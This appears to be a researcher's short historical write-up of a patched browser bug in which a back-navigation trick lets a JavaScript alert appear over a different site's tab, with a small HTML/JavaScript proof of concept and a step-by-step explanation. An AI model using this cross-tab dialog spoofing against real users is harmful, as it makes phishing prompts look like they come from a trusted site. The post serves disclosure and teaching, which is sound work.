After playing around with back-navigation timing, I found that a tab returning from a history.back() could display dialogs that appeared to originate from whatever tab had focus at the time — including a tab showing a completely different site.

<!DOCTYPE html>
<html xmlns="http://www.w3.org/1999/xhtml">
<head><title>ShowDialogsinDifferentTabs</title>
</head>
<body>
<script language="JavaScript">
function xalert()
{
	window.open("http://www.bing.com");
	setTimeout("alert('Wow! This alert comes from a different tab but it seems as if it were coming from Bing!')", 2000);
}
function back()
{
	location.href = "back.html";
}
</script>
</body>
</html>

The trick was to first navigate to a helper page (back.html) that immediately called history.back(), returning to the original page in a special back-navigation state. From that state, opening a new tab and firing a setTimeout alert caused the dialog to surface over the new tab — making it appear to come from Bing (or whatever site was in the foreground). This gave a convincing cross-tab UI spoof that required no user interaction beyond the initial click.

Found during my years at Microsoft (2006–2014). These bugs were patched long ago — shared here as a historical record for learning purposes.